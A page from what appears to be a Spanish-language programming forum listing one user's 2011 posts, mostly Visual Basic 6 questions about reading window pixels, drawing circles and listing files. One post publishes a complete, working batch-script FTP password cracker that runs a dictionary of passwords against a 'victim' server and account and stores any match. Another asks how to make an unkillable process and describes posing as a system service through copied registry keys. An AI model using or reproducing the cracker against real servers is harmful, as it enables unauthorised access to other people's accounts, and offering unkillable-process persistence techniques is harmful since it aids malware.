|
Mostrar Temas
|
Páginas: 1 2 [3] 4 5
|
22
|
Programación / Programación Visual Basic / ¿es posible hacer un proceso "duro de matar" ? VB 6.0
|
en: 5 Junio 2011, 01:12 am
|
en mi maq. virtual winXP intente esto: me fije en el registro de windows las claves de algunos procesos de sistema y servicios :"spool.exe" , e hice una copia de esas claves cambiandole nada mas por la ruta de mi programa, y reiniciaba mi maquina virtual, al iniciar el SO tardaba mas de lo normal, pero mi programa se ejecutaba solo y aparecia como "SYSTEM" en el taskmgr pero se podia cerrar facilmente como cualkier otro, ademas se cerraba solo a los 30 segundos, volvia a ejecutarlo usando el cmd: "NET START MY_EXE", y revivia pero volvia a cerrarse a los 30 seg.
sera posible que un programa sea "interminable",puramente un .exe sin tener que crear dll, que no se pueda cerrar ni con el taskmgr ni con el taskkill?,
|
|
|
23
|
Programación / Programación Visual Basic / ¿como leer los pixeles de una ventana minimizada-oculta? VB 6.0
|
en: 28 Mayo 2011, 01:00 am
|
necesito leer los pixeles de la ventana de un game que ocupa toda la pantalla, intente usar GetPixel al Device context de la ventana pero no funciono (creo que porque el game refresca a cada rato la pantalla) , se me ocurrio usar keybd_event + el codigo de PRINT_SCREEN (tecla de capturar pantalla), luego pasar la captura de pantalla a un picture: picture1.picture = clipboard.getdata, hasta aqui todo bien, ahora intente usar getpixel al picture1.hdc para leer los pixeles y funciona solo cuando la ventana de mi programa este activa y el game minimizado, ahora lo que necesito es que mi programa lea los pixeles mientras este activa la ventana del game y no se puede. ¿alguna idea de como hacer esto?
el game es gunbound, los pixeles que quiero leer son el angulo y el viento.
|
|
|
24
|
Programación / Programación Visual Basic / ¿como dibujar un circulo pixel a pixel? VB 6.0
|
en: 27 Mayo 2011, 16:28 pm
|
hola quisiera dibujar una circulo en el que cada pixel del circulo tenga un color distinto, para eso lo que hago primero es dibujar un circulo con un color blanco y radio 25 con AngleArc en un form, luego una funcion se encarga de buscar los pixeles blancos que componen ese circulo y luego lo que hace es guardar las coordenadas de esos pixeles blancos en un archivo, ahora otro programa carga las coordenadas de ese fichero y pues pinta los pixeles especificados por esas coordenadas en una ventana que le indique (cada pixel con un color diferente), el problema es que si quiero cambiar el tamaño del circulo (radio), pues tengo que guardar un archivo con las coordenadas por cada nuevo circulo que haga,weno y entre otras cosas que necesito hacer tambien esta recorrer y leer los pixeles de una ventana dando vueltas (en circulos). ¿sabran alguna idea mas o menos o formula para no depender de este metodo?,
|
|
|
25
|
Programación / Programación Visual Basic / que api usar para pintar circulos de colores? vb 6.0
|
en: 16 Mayo 2011, 04:15 am
|
hola kisiera dibujar circulos con un determinado color en una ventana externa, encontre el api ArcAngle, pero esta api no especifica en sus parametrtos el color sino que usa el color que tenga predefinido esa ventana (negro), lei que con createpen se cambia el color y pincel por defecto de la ventana , pero no quisiera cambiar el pincel por defecto que tiene la ventana , ¿sabran alguna api que haga lo mismo que ArcAngle, es decir circulos y especifique el color sin tener que cambiar el pincel predefinido?
-quisiera dibujar solo la linea del circulo sin rellenar el centro, es decir si hubiera una imagen o color en la ventana, el circulo no deberia tapar a esa imagen o color.
|
|
|
26
|
Programación / Programación Visual Basic / ¿como obtener el angulo de una coordenada? VB 6.0
|
en: 9 Mayo 2011, 04:02 am
|
Holas tengo unas imagenes como estas: tienen un punto azul en un lugar,debo hallar el angulo (0 - 360) en que se encuentran los puntos azules,en la primera parece mas o menos 280 grados, en la segunda imagen se puede sacar que el angulo es 90 con solo mirar, por ahora hice un codigo que usa el api get pixel para buscar el punto azul y me devuelven el x,y donde se encuentra el punto, ¿que funcion o formula podria usar para obtener el angulo a partir de esas coordenadas en VB 6.0?
|
|
|
27
|
Programación / Scripting / [BATCH] Crackeador de FTP en .bat
|
en: 6 Abril 2011, 01:53 am
|
hola hice este crackeador 100% en .bat , ya lo probe y funciona bien, algunas imagenes: menu principal http://www.imagecross.com/11/image-hosting-view-64.php?id=1123Menu.jpgingreso de datos http://www.imagecross.com/11/image-hosting-view-64.php?id=4315Inicio.jpgclave descifrada http://www.imagecross.com/11/image-hosting-view-64.php?id=3898Password.jpgahora el codigo @ echo off title Crackeador - FTP :::::::: AlxSpy color 0a set cont=0 set num=1 md C:\Crackeador-FTP\ md C:\Crackeador-FTP\Login md C:\Crackeador-FTP\Residuo md C:\Crackeador-FTP\Password del /q C:\Crackeador-FTP\Login del /q C:\Crackeador-FTP\Residuo :Menu set opcion=4 cls echo. echo Menu Principal echo. echo. echo Opciones: echo. echo. echo 1-Leeme, instrucciones echo 2-Iniciar crackeador echo 3-Salir echo. echo ___________________________________________________________________ set /p opcion= if "%opcion%" == "1" goto Manual if "%opcion%" == "2" goto Inicio if "%opcion%" == "3" (goto Salida) else goto menu
:Manual cls echo. echo Leeme, instrucciones echo. echo. echo -Para hacer el Diccionario-listword, agrega echo tu lista de claves en tu fichero de texto: echo ".txt", debes agregar un salto de linea o echo [ENTER] al inicio de la lista y al final de echo la lista porque elprograma tomara la lista echo a partir de segunda linea hasta la penultima. echo -El nombre del fichero puede o no contener echo espacios. echo -Para detener el programa debes cerrar la echo consola. echo -Todos los ficheros que usa el programa estan echo en "C:\Crackeador-FTP", no quedara echo ningun fichero residuo en tus directorios echo principales, solo debes borrar: echo "C:\Crackeador-FTP" al terminar el prgrama. echo -La clave-password descifrado sera mostrado echo en la consola y almacenado en: echo "C:\Crackeador-FTP\Password" echo. echo. echo Pulsa una tecla para volver al menu principal pause>nul goto Menu :Inicio cls echo. echo Iniciar Crackeador [Paso 1/2] echo. echo. echo Para cancelar y volver al menu principal pulsa "C" echo. echo ___________________________________________________________________ set /p host=Ingresa el servidor FTP victima: if "%host%" == "c" goto Menu if "%host%" == "C" goto Menu echo. echo ___________________________________________________________________ set /p user=Ingresa el usuario victima: if "%user%" == "c" goto Menu if "%user%" == "C" goto Menu echo. echo ___________________________________________________________________ set /p dic=Ruta completa del Diccionario: if "%dic%" == "c" goto Menu if "%dic%" == "C" goto Menu if exist "%dic%" (goto Inicio2) else goto error1 :error1 cls echo. echo Error, no se encontro el fichero: echo "%dic%" echo. echo. echo Pulsa una tecla para volver pause>nul goto Inicio :Inicio2 set opcion=4 copy /y "%dic%" C:\Crackeador-FTP\Diccionario.txt ren C:\Crackeador-FTP\Diccionario.txt lista.txt ren C:\Crackeador-FTP\lista.txt Diccionario.txt echo FIN>>C:\Crackeador-FTP\Diccionario.txt cls echo. echo Iniciar Crackeador [Paso 2/2] echo. echo. echo Datos y diccionario listos echo ¿Desea iniciar el crackeador ahora? echo. echo 1-Si echo 2-No, volver al paso anterior echo 3-No, volver al menu principal echo. echo ___________________________________________________________________ set /p opcion= if "%opcion%" == "1" goto proceso if "%opcion%" == "2" goto Inicio if "%opcion%" == "3" (goto Menu) else goto Inicio2 :Proceso set /a cont=%cont%+%num% for /f "skip=%cont% tokens=1" %%a in (C:\Crackeador-FTP\Diccionario.txt) do call :Pass "%%a" :Pass set Pass=%1 set Pass=%Pass:"=% if "%Pass%" == "FIN" (goto Fin) else goto Screen :Screen del /q C:\Crackeador-FTP\Login\Login.txt del /q C:\Crackeador-FTP\Residuo\Residuo.txt cls echo. echo. echo Probando Password %cont%... echo. echo %user%>>C:\Crackeador-FTP\Login\Login.txt echo %Pass%>>C:\Crackeador-FTP\Login\Login.txt echo bye>>C:\Crackeador-FTP\Login\Login.txt ftp -s:C:\Crackeador-FTP\Login\Login.txt %host%>>C:\Crackeador-FTP\Residuo\Residuo.txt if exist C:\Crackeador-FTP\Residuo\Residuo.txt (goto CheckResult) else goto error2 :error2 msg *msg Fallo el comando FTP cls echo. echo. echo Fallo el comando FTP echo. echo. echo Pulse una tecla para volver al menu principal pause>nul goto Menu :CheckResult for /f "skip=5 tokens=1" %%a in (C:\Crackeador-FTP\Residuo\Residuo.txt) do call :txt "%%a" :txt set txt=%1 set txt=%txt:"=% if "%txt%" == "530" (goto proceso) else goto Password :Password msg *msg Password localizado cls echo. echo. echo Password localizado echo. echo. echo Servidor victima: %host% echo Usuario victima: %user% echo Password victima: %Pass% echo. echo. echo Pulse una tecla para volver al menu principal pause>nul echo Servidor: %host% / Usuario: %user% / Clave: %Pass%>>C:\Crackeador-FTP\Password\UsuariosyClaves.txt goto Reset :Fin msg *msg Fin de busqueda sin resultados goto reset :Reset set cont=0 del /q C:\Crackeador-FTP\*.txt del /q C:\Crackeador-FTP\Login\*.txt del /q C:\Crackeador-FTP\Residuo\*.txt goto Menu :Salida exit
|
|
|
28
|
Programación / Desarrollo Web / ¿algun servidor ftp gratis?
|
en: 4 Abril 2011, 17:58 pm
|
holas no se si alguien sabra de algun servidor ftp gratuito al que se pueda acceder mediante la consola de windows o cualquier otro programa cliente ftp? , anteriormente estaba registrado en ftp.geocities y ftp.fortunecity pero uno esta offline y el otro falla y ni me deja registrarme de nuevo, llevo bastante rato buscando pero solo encuentros alojamiento web a los que solo se puede acceder por navegador de internet como megaupload , pero ninguno se puede acceder por consola.
|
|
|
30
|
Programación / Programación Visual Basic / [DUDA] sobre apis Findnextfile en vb6
|
en: 30 Marzo 2011, 18:10 pm
|
hola vi las apis para listar archivos, hice este codigo: ' 1 command1 + 1 text1 Option Explicit Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type 'Estructura WIN32_FIND_DATA para info de archivos Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * 300 cAlternate As String * 14 End Type Private Declare Function FindFirstFile _ Lib "kernel32" _ Alias "FindFirstFileA" ( _ ByVal lpFileName As String, _ lpFindFileData As WIN32_FIND_DATA) As Long 'Api FindNextFile (busca el siguiente) Private Declare Function FindNextFile _ Lib "kernel32" _ Alias "FindNextFileA" ( _ ByVal hFindFile As Long, _ lpFindFileData As WIN32_FIND_DATA) As Long 'Api GetFileAttributes (para recuperar los atributos de los archivos) Private Declare Function FindClose _ Lib "kernel32" ( _ ByVal hFindFile As Long) As Long Private Sub Command1_Click() Dim hFind As Long, RNext As Long, tmP As String, WFD As WIN32_FIND_DATA, Archivo As String, P As Long, Total As Long hFind = FindFirstFile("d:\*.*", WFD) tmP = "hFind: " & hFind & vbCrLf RNext = FindNextFile(hFind, WFD) While RNext <> 0 Total = Total + 1 tmP = tmP & "rNext: " & RNext & vbCrLf Archivo = WFD.cFileName Archivo = Replace(Archivo, Chr(0), "") 'borra los nulos tmP = tmP & Archivo & vbCrLf RNext = FindNextFile(hFind, WFD) Wend FindClose hFind Text1.Text = "Total archivos: " & Total & vbCrLf & tmP End Sub
ejecuto el codigo , y el resultado es una lista en la que se repiten los nombres de los ficheros, luego intente ejecutandolo compilado y el resultado es el mismo: http://hosting11.imagecross.com/image-hosting-64/3767error.jpg*luego encontre la solucion cambiando el codigo de esta manera: Private Sub Command1_Click() Dim hFind As Long, RNext As Long, tmP As String, WFD As WIN32_FIND_DATA, Archivo As String, P As Long, Total As Long hFind = FindFirstFile("d:\*.*", WFD) tmP = "hFind: " & hFind & vbCrLf RNext = FindNextFile(hFind, WFD) While RNext <> 0 Total = Total + 1 tmP = tmP & "rNext: " & RNext & vbCrLf Archivo = WFD.cFileName P = InStr(1, Archivo, Chr(0)) If P > 0 Then Archivo = Left(Archivo, P - 1) tmP = tmP & Archivo & vbCrLf RNext = FindNextFile(hFind, WFD) Wend FindClose hFind Text1.Text = "Total archivos: " & Total & vbCrLf & tmP End Sub
el resultado: http://hosting11.imagecross.com/image-hosting-64/4585solucion.jpg*weno, no entiendo si los 2 codigos hacen lo mismo por que uno falla y el otro funciona bien, alguien podria explicar?
|
|
|
|
|
|
|